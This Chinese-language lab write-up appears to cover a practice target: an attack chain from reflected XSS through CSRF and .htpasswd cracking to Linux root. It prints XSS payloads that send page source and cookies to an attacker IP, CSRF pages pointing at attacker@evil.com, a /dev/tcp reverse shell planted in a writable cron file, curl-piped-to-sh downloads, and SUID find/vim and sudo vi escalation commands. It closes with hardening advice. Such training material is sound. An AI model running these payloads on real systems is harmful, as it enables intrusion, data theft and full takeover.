从XSS到Root权限:Web渗透与Linux提权实战全解析
1. 项目概述一次从Web渗透到系统提权的完整实战复盘最近在复盘一个靶场环境标题里提到的几个关键词——XSS、CSRF、.htpasswd破解、文件权限配置不当——恰好串联起了一次非常经典的渗透测试路径。这不像那些只打一个点的简单靶机它模拟了一个中小型Web应用从外部攻击到内部权限提升的完整链条。很多新手在打靶或者做安服项目时容易陷入“找到一个漏洞就结束”的误区但实际上真正的攻防是环环相扣的。这个靶场就很好地展示了如何将一个前端的XSS漏洞通过信息收集和组合利用最终演变成服务器的完全控制。整个过程涉及Web安全、密码破解、服务配置审计和Linux权限管理等多个层面非常适合用来梳理和巩固渗透测试的整体思维。接下来我就把这个靶场的通关思路、踩过的坑以及一些扩展思考从头到尾拆解一遍。2. 核心攻击链拆解与思路形成面对一个多漏洞点的靶场第一步不是盲目开扫而是理清逻辑。这个靶场的标题其实已经暗示了一条清晰的攻击路径入口点XSS与源码泄露。Alert XSS-Fetch网页源码提取提示我们初始漏洞可能是一个反射型XSS并且这个XSS的利用方式不是简单的弹窗而是用来“Fetch网页源码”。这意味着攻击者需要利用XSS向一个受控服务器发起请求窃取页面内容。横向移动CSRF利用。获得源码后很可能从中发现了关键功能点如修改密码、添加用户存在CSRF漏洞。利用CSRF攻击者可以在用户不知情的情况下执行特权操作。认证突破.htpasswd破解。Apache2 .htpasswd破解表明在利用CSRF或其他方式获得某个Web目录的访问权或拿到.htpasswd文件后需要破解其中的密码哈希以获得进一步的认证凭据。权限提升文件权限配置不当。最后利用获取到的凭据登录系统或服务发现系统中存在配置错误的文件或目录权限例如关键配置文件全局可写或者SUID位设置错误从而完成从普通用户到root用户的权限提升。这条链路的精妙之处在于它完全模拟了一个“低权限入口 - 信息收集 - 权限提升”的实战过程。很多漏洞单独看危害不大比如一个仅能弹窗的XSS但一旦能结合其他信息或漏洞就能产生质变。2.1 为什么是“Fetch”网页源码普通的XSS弹窗alert(1)只能证明漏洞存在属于“概念验证”PoC。而实战中我们需要的是窃取数据。Fetch API或传统的XMLHttpRequest是现代浏览器中JavaScript发起网络请求的主要方式。利用XSS注入一段脚本让受害者的浏览器悄悄向攻击者控制的服务器发送当前页面的document.documentElement.innerHTML就能获取到完整的页面HTML源码。这比弹窗有价值得多因为源码中可能包含其他隐藏的接口或参数。硬编码的密钥、令牌或路径信息。注释掉的敏感代码。引入的JS文件路径可能指向其他脆弱组件。这个步骤的核心思路是将XSS从“干扰性漏洞”转化为“信息收集工具”。2.2 从源码到CSRF的必然联系获取到管理后台或其他特权功能的页面源码后下一步就是仔细审计。CSRF漏洞的成因是应用在执行敏感操作如修改密码/admin/changepwd.php时仅验证会话Cookie而不校验请求是否来源于用户自愿发起的例如缺少随机Token、Referer检查不严等。在源码中我们需要寻找表单提交的action地址。是否有隐藏的csrf_token、nonce等字段。请求是GET还是POSTGET型CSRF构造更简单一个链接即可。一旦确认存在CSRF我们就可以构造一个恶意页面当已登录的管理员访问时其浏览器会自动发出修改密码或添加后台用户的请求。这样我们就获得了系统的高权限账户。2.3 .htpasswd被忽视的密码存储Apache的.htpasswd文件常用于HTTP基本认证保护某些目录。它的格式通常是username:hashed_password。这里的哈希通常是crypt()函数生成的在Linux上常见的是基于MD5的apr1或系统本身的crypt支持DES、SHA-256/512。破解.htpasswd是密码学中的“离线破解”我们可以使用John the Ripper或hashcat这类工具配合强大的字典进行爆破。这里的关键点是如何获取到.htpasswd文件可能有几种途径通过CSRF获得后台权限后在后台发现文件管理功能可以下载该文件。利用Web服务器配置错误例如目录遍历漏洞../../etc/apache2/.htpasswd。通过之前XSS窃取的源码发现配置文件中硬编码了.htpasswd的路径。靶场环境中常见的.htpasswd备份文件如.htpasswd.bak被遗留在了Web目录下。2.4 最后的临门一脚文件权限配置不当拿到一个Web服务或普通系统用户的shell后我们往往身处一个低权限环境。提权Privilege Escalation是必经之路。Linux系统上“文件权限配置不当”是一个大类主要包括SUID/SGID位设置错误如果一个属于root且设置了SUID位的可执行文件普通用户运行它时会以root权限执行。如果这个文件本身存在漏洞如缓冲区溢出或者能被用户控制其行为如通过环境变量、参数注入就能用来提权。经典的例子有/bin/bash极少见、/usr/bin/find、/usr/bin/vim等。全局可写文件关键的系统脚本如/etc/cron.d/*下的定时任务、服务配置文件如/etc/systemd/system/*.service如果全局可写chmod 777攻击者可以修改它们插入恶意命令等待系统或root用户执行。sudo权限滥用用户可能被配置了无需密码就能以root身份运行特定命令NOPASSWD如sudo /usr/bin/vi那么通过vi就能直接启动一个root shell。在靶场中最后一步通常就是利用这类配置错误将获得的普通用户权限提升至root。3. 实战环境搭建与工具准备要复现这条攻击链你需要一个可控的测试环境。绝对不要在未经授权的真实系统上进行测试。3.1 靶机与环境配置我使用的是AlertShot这个HTBHackTheBox风格的靶场镜像。你可以在VMware或VirtualBox中导入它。确保将靶机的网络模式设置为“桥接”或“NAT”并与你的攻击机在同一网段。攻击机我选用Kali Linux它预装了绝大多数需要的工具。靶机IP发现启动靶机后使用netdiscover或arp-scan来发现其IP地址。sudo netdiscover -r 192.168.1.0/24 # 替换成你的网段假设我们发现靶机IP为192.168.1.105。3.2 基础信息收集首先对靶机进行端口扫描了解开放的服务。sudo nmap -sS -sV -O -p- 192.168.1.105 -oA initial_scan-sS: SYN扫描速度快且隐蔽。-sV: 探测服务版本。-O: 探测操作系统。-p-: 扫描所有65535个端口。-oA: 输出所有格式normal, xml, grepable的报告。扫描结果可能显示80/tcp开放运行Apache httpd。这就是我们的主战场。可能还有22/tcp(SSH) 或21/tcp(FTP)但初期突破口通常在Web。3.3 关键工具清单Burp Suite Community/Professional: Web漏洞扫描、抓包改包、重放攻击、CSRF PoC生成核心工具。浏览器开发者工具F12: 分析页面结构、网络请求、调试JavaScript。Python3 http.server模块: 快速搭建一个临时HTTP服务器用于接收XSS窃取的数据。python3 -m http.server 8000nc(Netcat): 监听端口接收数据非常灵活。nc -lvnp 4444John the Ripper: 密码破解神器专攻.htpasswd。hashcat: GPU加速的密码破解工具速度更快但需要显卡支持。linpeas.sh: Linux本地提权信息枚举脚本自动化查找SUID、可写文件、sudo权限等极大提高效率。searchsploit: 搜索Exploit-DB中的漏洞利用代码。4. 第一阶段XSS漏洞利用与源码窃取假设我们通过简单的爬取或手动测试在靶站的搜索框或URL参数中发现了一个反射型XSS点。例如访问http://192.168.1.105/search?qscriptalert(1)/script会弹窗。4.1 从PoC到数据窃取Payload单纯的alert(1)没用。我们需要构造一个Payload让页面将自身的源码发送到我们的服务器。方法一使用Fetch API现代浏览器script fetch(http://192.168.1.100:8000/steal?data encodeURIComponent(document.documentElement.innerHTML)) .then(response response.text()) .then(data console.log(data)); /script将192.168.1.100:8000替换为你的攻击机IP和Python HTTP服务器端口。这个Payload会将整个页面的HTML编码后作为URL参数发送到你的服务器。注意URL有长度限制对于大页面可能截断。方法二使用XMLHttpRequest兼容性更好script var xhr new XMLHttpRequest(); xhr.open(POST, http://192.168.1.100:8000/steal, true); xhr.setRequestHeader(Content-Type, application/x-www-form-urlencoded); xhr.send(data encodeURIComponent(document.documentElement.innerHTML)); /script这个方法通过POST发送没有长度限制。方法三最简单直接的Image标签外带GET请求script new Image().srchttp://192.168.1.100:8000/steal?cencodeURIComponent(document.cookie); // 如果要偷源码可能太长可以分段或改用其他方法 /script实操心得在实际测试中页面的内容类型和字符集可能影响Payload执行。有时需要闭合原有的HTML标签。使用Burp Suite的Repeater模块可以方便地修改请求参数实时查看响应并测试Payload的兼容性。如果页面输出点位于input标签的value属性中可能需要先闭合引号和标签如script.../script。4.2 搭建接收服务器并触发漏洞在攻击机192.168.1.100上开启一个接收服务器。用Python最简单cd /tmp python3 -m http.server 8000同时开启另一个终端用tail -f实时查看访问日志以便第一时间看到数据tail -f /var/log/apache2/access.log # 如果Python server有日志就看对应的日志文件 # 或者更直接地用netcat监听一个端口来接收 nc -lvnp 4444 stolen_data.txt如果用nc那么Payload里的接收地址就要改成192.168.1.100:4444。将构造好的包含Payload的URL例如http://192.168.1.105/search?qscriptfetch(http://192.168.1.100:4444?dataencodeURIComponent(document.body.innerHTML))/script发送给受害者在靶场中可能就是模拟管理员访问。或者如果这是一个存储型XSS只需要等待管理员浏览相关页面。在攻击机的终端里你应该能看到接收到来自靶机的HTTP请求其中包含了被窃取的页面源码。将其保存下来进行仔细分析。5. 第二阶段源码审计与CSRF攻击构造假设我们窃取到的源码是一个后台管理页面比如/admin/profile.php其中包含一个修改邮箱的表单。5.1 审计源码寻找CSRF漏洞查看窃取到的HTML表单部分form action/admin/update_email.php methodPOST input typeemail nameemail valueadmintarget.com input typesubmit valueUpdate !-- 注意这里没有csrf token隐藏域 -- /form关键点表单没有input typehidden namecsrf_token value...之类的防CSRF令牌。这是一个典型的CSRF漏洞。查看对应的/admin/update_email.php逻辑如果也能通过XSS或路径遍历拿到源码最好确认它只检查会话身份不验证请求来源。5.2 构造CSRF攻击页面我们在攻击机上创建一个HTML文件csrf_attack.html!DOCTYPE html html body h1你收到一张有趣的图片/h1 img srchttp://192.168.1.105/admin/update_email.php?emailattackerevil.com width0 height0 / !-- 如果是GET请求一个img标签的src就能触发 -- script // 如果是POST请求需要构造一个自动提交的表单 document.write(form idcsrfForm actionhttp://192.168.1.105/admin/update_email.php methodPOST); document.write(input typehidden nameemail valueattackerevil.com); document.write(/form); document.getElementById(csrfForm).submit(); /script /body /html这个页面会尝试自动提交一个修改邮箱的请求到靶站后台。img标签用于GET请求下面的脚本用于POST请求。5.3 利用CSRF获取更高权限修改邮箱可能只是第一步。我们需要在源码中寻找更具破坏性的功能例如/admin/add_user.php添加新管理员。/admin/upload.php上传Webshell。/admin/config_save.php修改网站配置可能包含文件包含漏洞。假设我们找到了/admin/add_user.php其接受参数username和password。我们构造新的CSRF页面当管理员访问时会悄无声息地创建一个我们控制的后台账户。利用Burp Suite生成CSRF PoC用Burp拦截一个正常的“添加用户”请求。在Proxy-HTTP history中右键该请求选择Engagement tools-Generate CSRF PoC。Burp会自动生成一个包含恶意表单的HTML页面你可以将其保存并稍作修饰比如隐藏表单自动提交。将这个页面放在你的攻击服务器上并诱使已登录的管理员访问可以通过之前发现的XSS漏洞注入一个iframe或者结合社工。注意事项CSRF攻击成功的前提是受害者浏览器已经对目标网站靶站建立了有效的认证会话即已登录。在靶场中这可能意味着你需要等待或触发一个管理员会话。在实际渗透测试中这可能与钓鱼邮件、结合其他漏洞如XSS有关。6. 第三阶段定位并破解.htpasswd文件通过CSRF获得后台管理权限后我们可以在后台寻找敏感文件。假设在“文件管理”或“备份”功能中我们发现了.htpasswd文件的下载链接或者通过目录遍历找到了它。6.1 获取.htpasswd文件内容下载到的.htpasswd文件内容可能如下admin:$apr1$5cL5a8Qw$Xe0w.8Wq.drk4vFvR4nHn1格式是用户名:加密后的密码。$apr1$表明这是Apache特有的apr1哈希基于MD51000次迭代。6.2 使用John the Ripper破解保存哈希将上面那行内容保存到一个文件比如hash.txt。选择模式apr1哈希在John中通常能自动识别。但为了保险我们可以指定格式john --formatmd5crypt-long hash.txt # 或者用 --formatapr1 如果自动识别失败使用字典爆破John自带一个小的密码字典/usr/share/john/password.lst但通常不够。我们可以使用更大的字典如rockyou.txtKali中位于/usr/share/wordlists/rockyou.txt.gz需解压。gunzip /usr/share/wordlists/rockyou.txt.gz john --wordlist/usr/share/wordlists/rockyou.txt hash.txt查看结果破解成功后使用john --show hash.txt查看用户名和明文密码。6.3 使用Hashcat破解GPU加速如果密码复杂John的CPU破解可能很慢。Hashcat利用GPU速度更快。准备哈希文件Hashcat需要特定的格式。对于apr1其模式代号是1600。我们需要将哈希提取出来去掉用户名和冒号或者保持user:hash格式Hashcat能处理。执行破解# 模式1600对应 Apache $apr1$ MD5, md5apr1, MD5 (APR) hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt查看结果破解后使用hashcat -m 1600 hash.txt --show。实操心得.htpasswd的密码强度完全取决于管理员设置。很多测试环境或老旧系统会使用弱密码如admin、password、123456等用rockyou.txt这类常见弱口令字典很快就能破解。但如果密码较强可能需要更大的字典或组合规则-r参数。在实战中破解.htpasswd获得的密码往往会被用户在多个地方重复使用密码复用因此一定要尝试用这个密码去登录SSH、FTP、数据库等其他服务。7. 第四阶段权限提升与根因分析假设我们用破解到的密码admin:secret123成功登录了靶机的某个服务可能是Web后台的SSH连接功能或者直接是22端口的SSH。现在我们获得了一个低权限的shell比如用户www-data或apache。7.1 自动化信息收集上传或下载linpeas.sh到靶机这是一个绝佳的提权信息枚举脚本。# 在攻击机开启HTTP服务 python3 -m http.server 8000 # 在靶机shell中下载并执行 curl http://192.168.1.100:8000/linpeas.sh | sh # 或者 wget http://192.168.1.100:8000/linpeas.sh chmod x linpeas.sh ./linpeas.shlinpeas会以彩色输出高亮显示可疑的提权路径重点关注红色和黄色的部分。7.2 分析“文件权限配置不当”根据靶场提示问题很可能出在文件权限上。linpeas的输出中我们可能会看到类似以下的信息1. 危险的SUID/SGID文件Files with SUID/SGID bits: /usr/bin/find /usr/bin/vim.basic /usr/bin/bash ... (其他正常文件如passwd, mount等)/usr/bin/find和/usr/bin/vim.basic通常不应该有SUID位。如果它们属于root这就是一个提权机会。利用find提权find / -exec /bin/bash -p \; -quit # 或者 touch /tmp/rootshell find /tmp/rootshell -exec /bin/bash -p \;这里的-p参数是为了保留特权模式。执行后你会获得一个root shell。利用vim.basic提权vim.basic -c :! /bin/bash # 或者在vim中 :set shell/bin/bash :shell因为vim以root权限运行它启动的shell也是root。2. 全局可写World-writable的系统文件World-writable files (excluding /proc and /sys): /etc/cron.d/backup_script /usr/local/bin/custom_service.sh如果/etc/cron.d/backup_script是一个root用户定时执行的脚本并且我们可写那么我们可以修改它加入反向shell命令。echo bash -c bash -i /dev/tcp/192.168.1.100/4444 01 /etc/cron.d/backup_script然后在攻击机用nc -lvnp 4444监听等待cron执行可能需要等到下一分钟。3. Sudo权限滥用User www-data may run the following commands on target: (ALL) NOPASSWD: /usr/bin/vi这简直是送分题sudo vi # 在vi中 :!bash # 或者 :set shell/bin/bash :shell直接获得root shell。7.3 根因分析与防御建议这个靶场串联的漏洞其根本原因在于输入输出过滤缺失Web应用对用户输入搜索参数未做充分过滤和转义导致反射型XSS。防御措施是所有输出到HTML页面的数据都要根据上下文进行HTML编码。关键操作缺乏防伪令牌执行修改邮箱、添加用户等敏感操作时仅依赖会话Cookie未使用CSRF Token、验证Referer或使用SameSite Cookie属性。弱密码策略与密码存储风险.htpasswd中使用了弱密码且该文件可能因配置不当被直接下载。应使用强密码并将.htpasswd文件存放在Web根目录之外通过AuthUserFile指令指定绝对路径。服务器配置硬化不足不必要的SUID位像find、vim、nano这类文本编辑或系统管理工具绝不应该被设置SUID位。定期使用find / -perm -4000 -type f 2/dev/null检查并移除非必要的SUID位。不当的文件权限关键的系统脚本、cron任务、服务配置文件必须严格限制写权限原则上应只有root可写chmod 644或600。sudo配置最小化遵循最小权限原则仅为必要用户分配必要的sudo命令并尽量避免使用NOPASSWD选项。8. 扩展思考与防御加固这条攻击链虽然发生在靶场但每个环节在现实世界中都屡见不鲜。要构建更安全的体系需要层层设防前端实施严格的CSP内容安全策略可以极大缓解XSS的危害。即使存在XSS漏洞CSP也能阻止向未经授权的域名发送数据阻断我们的Fetch请求。后端对所有用户输入进行白名单验证和输出编码。对所有状态变更操作POST、PUT、DELETE强制使用CSRF令牌。对敏感文件如.htpasswd、.env、config.php的访问进行额外授权检查并确保其不在Web目录下。系统层定期进行漏洞扫描和配置审计。使用像Lynis、OpenSCAP这样的自动化安全审计工具。实施严格的密码策略并考虑使用更强的认证方式替代HTTP基本认证。遵循最小权限原则配置服务和cron任务。考虑使用类似AppArmor或SELinux的强制访问控制机制即使攻击者突破了应用层也能在系统层进行约束。这个靶场的通关不仅仅是一次技术练习更是一次完整的安全思维训练。它告诉我们安全是一个整体任何一个环节的疏忽都可能被攻击者串联起来形成致命的打击。作为防御方我们需要堵住每一个可能的缺口作为攻击方在授权测试中我们需要的就是这种串联思维将看似不起眼的小漏洞变成通往最终目标的阶梯。